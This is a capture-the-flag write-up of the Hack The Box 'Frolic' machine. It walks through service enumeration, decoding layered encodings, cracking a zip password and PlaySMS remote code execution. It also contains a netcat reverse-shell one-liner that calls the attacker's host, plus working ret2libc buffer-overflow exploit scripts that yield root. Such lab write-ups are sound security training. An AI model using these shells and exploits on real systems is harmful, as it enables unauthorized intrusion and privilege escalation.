Welcome to the Frolic writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Frolic

tags: HTB Easy Linux OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-11 19:26 CEST
Nmap scan report for 10.10.10.111
Host is up (0.098s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 41.62 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,139,445,1880,9999 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-11 19:27 CEST
Nmap scan report for 10.10.10.111
Host is up (0.097s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h45m41s, deviation: 3h10m30s, median: 4m17s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2021-05-11T23:02:34+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-11T17:32:34
|_  start_date: N/A

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   98.35 ms 10.10.14.1
2   98.82 ms 10.10.10.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.01 seconds

Accessing the web from port 9999 we can find a domain name called frolic.htb so we are going to add it to our /etc/hosts file.

Enum4linux

$ enum4linux 10.10.10.111
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue May 11 19:35:52 2021
[...]
[+] Found domain(s):

    [+] FROLIC
    [+] Builtin
[...]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sahay (Local User)
S-1-22-1-1001 Unix User\ayush (Local User)
[...]

Port 1880

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:1880/ -x js,html,txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://frolic.htb:1880/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              js,html,txt
[+] Timeout:                 10s
===============================================================
2021/05/11 19:52:54 Starting gobuster in directory enumeration mode
===============================================================
/icons                (Status: 401) [Size: 12]
/red                  (Status: 301) [Size: 173] [--> /red/]
/vendor               (Status: 301) [Size: 179] [--> /vendor/]
/settings             (Status: 401) [Size: 12]                
/Icons                (Status: 401) [Size: 12]                
/nodes                (Status: 401) [Size: 12]                
/SETTINGS             (Status: 401) [Size: 12]                
/flows                (Status: 401) [Size: 12]                
/ICONS                (Status: 401) [Size: 12]

Port 9999

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:9999/ -x php,html,js -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://frolic.htb:9999/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,js
[+] Timeout:                 10s
===============================================================
2021/05/11 19:53:14 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 194] [--> http://frolic.htb:9999/admin/]
/test                 (Status: 301) [Size: 194] [--> http://frolic.htb:9999/test/] 
/dev                  (Status: 301) [Size: 194] [--> http://frolic.htb:9999/dev/]  
/backup               (Status: 301) [Size: 194] [--> http://frolic.htb:9999/backup/]
/loop                 (Status: 301) [Size: 194] [--> http://frolic.htb:9999/loop/]

In the directory /backup the files password.txt with the content password - imnothuman, user.txt with the content user - admin and the directory loop/ where we cannot access without listing it.

Inside the /admin directory we can find an authentication form that asks us to hack it c'mon i m hackable. In its source code we can find a line that includes the javascript file js/login.js. Let's see the code.

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
    var username = document.getElementById("username").value;
    var password = document.getElementById("password").value;
    if ( username == "admin" && password == "superduperlooperpassword_lol"){
    alert ("Login successfully");
    window.location = "success.html"; // Redirecting to other page.
    return false;
    }
    else{
        attempt --;// Decrementing by one.
        alert("You have left "+attempt+" attempt;");
        // Disabling fields after 3 attempts.
        if( attempt == 0){
            document.getElementById("username").disabled = true;
            document.getElementById("password").disabled = true;
            document.getElementById("submit").disabled = true;
            return false;
        }
    }
}

Nice, now we have the credentials to access the form. The user is admin and the password is superduperlooperpassword_lol.

Accessing with the credentials we can find the following string.

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. 

This string is encoded in Ook! and we can decode it with this page and this is the result Nothing here check /asdiSIAJJ0QWE9JAS.

Well, let's access the path /asdiSIAJJ0QWE9JAS as it is asking us and let's see what there is.

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA 

Ok, now we can get a Base64 string. Let's decode it.

$ echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d
PK     É7M#�[�i    index.phpUT �|�[�|�[ux
                                          ^D�J�s�h�)�P�n
                                                        ��Ss�Jw�܎�4��ُk�z��UȖ�+X��P��ᶇ��л�x_�N�[���S��8����J2S�*�DЍ}�8dTQk������j_�����'xc��ݏt��75Q�
                                                                                                                                                   ���k,4��b)�4F��  ��������&q2o�WԜ�9P#�[�iPK      É7M#�[�i ��index.phpUT�|�[ux
                                                                                                                                                                                                                                   PKO

The first characters tell us that it is a zip file so we are going to save the result as file.zip and extract its content.

$ echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > file.zip
$ unzip file.zip
Archive:  file.zip
[file.zip] index.php password:

The zip is password protected... let's crack it...

$ zip2john file.zip > hash
ver 2.0 efh 5455 efh 7875 file.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
$ john hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password         (file.zip/index.php)
1g 0:00:00:00 DONE 2/3 (2021-05-11 20:24) 25.00g/s 1366Kp/s 1366Kc/s 1366KC/s 123456..faithfaith
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ok, the password is password.

$ unzip file.zip
Archive:  file.zip
[file.zip] index.php password: 
  inflating: index.php

And the index.php content is...

$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

This is a hex string...

$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Now Base64 again...

$ echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==" | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

More?? Now Brainfuck and we can decode it with the dcode.fr page. The result is idkwhatispass. Finally!.

Well, i don't know where can we use this password... Ok, we are going to enumerate the directories that we had left. Let's start with /test.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://frolic.htb:9999/dev/ -x php -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://frolic.htb:9999/dev/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/05/11 20:44:40 Starting gobuster in directory enumeration mode
===============================================================
/test                 (Status: 200) [Size: 5]
/backup               (Status: 301) [Size: 194] [--> http://frolic.htb:9999/dev/backup/]

Inside the /dev/backup/ folder we can read another path /playsms. Let's explore it.

Ok, accesing to http://frolic.htb:9999/playsms/index.php?app=main&inc=core_auth&route=login we can find another login form. We can test all the credentials we have.

Wohoo! we can access with admin and idkwhatispass.

Exploitation

PlaySMS

Looking for the PlaySMS software in google we can find an exploit that will give us RCE thanks to CVE-2017-9101.

$ python3 playsmshell.py --url http://frolic.htb:9999/playsms --password idkwhatispass -c 'id'
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cool, we have RCE and now we go for our shell!
We put a terminal to listen and execute the exploit passing a reverse shell as a command.

$ python3 playsmshell.py --url http://frolic.htb:9999/playsms --password idkwhatispass -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8787 >/tmp/f'
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.111] 41388
/bin/sh: 0: can´t access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty; pty.spawn('/bin/bash')"
[email protected]:~/html/playsms$ cd /home
[email protected]:/home$ ls
ayush  sahay
[email protected]:/home$ cd ayush/
[email protected]:/home/ayush$ ls
user.txt
[email protected]:/home/ayush$ cat user.txt 
CENSORED_FLAG
[email protected]:/home/ayush$

Post exploitation

Enumeration

SUID

[email protected]:~/html$ find / -perm /4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

Well, we come across /home/ayush/.binary/rop which based on its name, we could bet that we have to exploit a binary and doROP with it.
We need to know if it is vulnerable to buffer overflow.

[email protected]:~/html/playsms$ /home/ayush/.binary/rop $(python -c "print 'A' * 200")
Segmentation fault (core dumped)

Great, it's vulnerable!

Privilege escalation: www-data to root

First, we need to know the amount of characters to write to overwrite the eip address.
To achieve this, several methods can be used. In this case we are going to use a small python script using the pwntools module.

from pwn import *
import os

def get_offset():
    p = process(["./rop", cyclic(200, n=4)])
    p.wait()
    core = p.corefile
    os.system('rm -rf core*')
    return cyclic_find(core.read(core.esp, 4), n=4) - 4

log.success('Offset at: {} bytes'.format(get_offset()))
$ python offset.py
[+] Starting local process './rop': pid 6296
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 6296)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/core.6296'
    Arch:      i386-32-little
    EIP:       0x6161616e
    ESP:       0xffed9390
    Exe:       '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop' (0x8048000)
    Fault:     0x6161616e
[+] Offset at: 52 bytes

Ok, the offset is at 52 bytes.

We check that ASLR is disabled.

[email protected]:~/html$ cat /proc/sys/kernel/randomize_va_space
0

Now we need to know the libc library start address in order to later calculate the absolute addresses of the functions that we will use like system, /bin/sh and exit. For it we can use ldd.

[email protected]:~/html$ ldd /home/ayush/.binary/rop
    linux-gate.so.1 =>  (0xb7fda000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
    /lib/ld-linux.so.2 (0xb7fdb000)

The libc base address is 0xb7e19000.

It is time to get the addresses of the functions that I commented previously.

To know the /bin/sh address.

[email protected]:/tmp$ strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 15ba0b /bin/sh

The /bin/sh relative address is 0x0015ba0b.

For the system address we can usereadelf.

[email protected]:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep [email protected]@GLIBC_2.0
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 [email protected]@GLIBC_2.0

And the relative system address is 0x0003ada0.

Only left the exit address. We can use readelf again.

[email protected]:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep [email protected]@GLIBC_2.0
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 [email protected]@GLIBC_2.0

The relative exit address is 0x0002e9d0.

Now we have all that we need. Let's write our payload.
In order to copy the payload in a more comfortable way, we can make it show it to us in Base64.

import struct

def m32(addr):
    return struct.pack("I", addr)

binary = '/home/ayush/.binary/rop'

offset = 52

libc = 0xb7e19000
sh = 0x0015ba0b
system = 0x0003ada0
exit = 0x0002e9d0

payload = 'A' * offset + m32(libc + system) + m32(libc + exit) + m32(libc + sh)

print(payload.encode('base64'))
$ python exploit.py
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==
[email protected]:/tmp$ /home/ayush/.binary/rop $(echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==" | base64 -d)
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#

Another more automatic way to build our payload is by downloading the rop binary and the libc library and getting the libc library start address. With these 3 simple requirements we could write the following script.

from pwn import *
import os

binary = ELF('./rop')
libc = ELF('libc.so.6')

def get_offset():
    p = process(["./rop", cyclic(200, n=4)])
    p.wait()
    core = p.corefile
    os.system('rm -rf core*')
    return cyclic_find(core.read(core.esp, 4), n=4) - 4

offset = get_offset()
log.success('Offset at: {} bytes\n\n'.format(offset))

libc.address = 0xb7e19000
sh = libc.search('/bin/sh\x00').next()
system = libc.symbols['system']
exit = libc.symbols['exit']

log.success("sh: {}\n".format(hex(sh)))
log.success("system: {}\n".format(hex(system)))
log.success("exit: {}\n\n".format(hex(exit)))

payload = 'A' * offset + p32(system) + p32(exit) + p32(sh)

print(payload.encode('base64'))
$ python exploit.py
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './rop': pid 7749
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 7749)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Pwn/HTB/Frolic/core.7749'
    Arch:      i386-32-little
    EIP:       0x6161616e
    ESP:       0xffe69700
    Exe:       '/mnt/Datos/Hacking/Pwn/HTB/Frolic/rop' (0x8048000)
    Fault:     0x6161616e
[+] 
    Offset at: 52 bytes

[+] sh: 0xb7f74a0b
[+] system: 0xb7e53da0
[+] exit: 0xb7e479d0

QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw==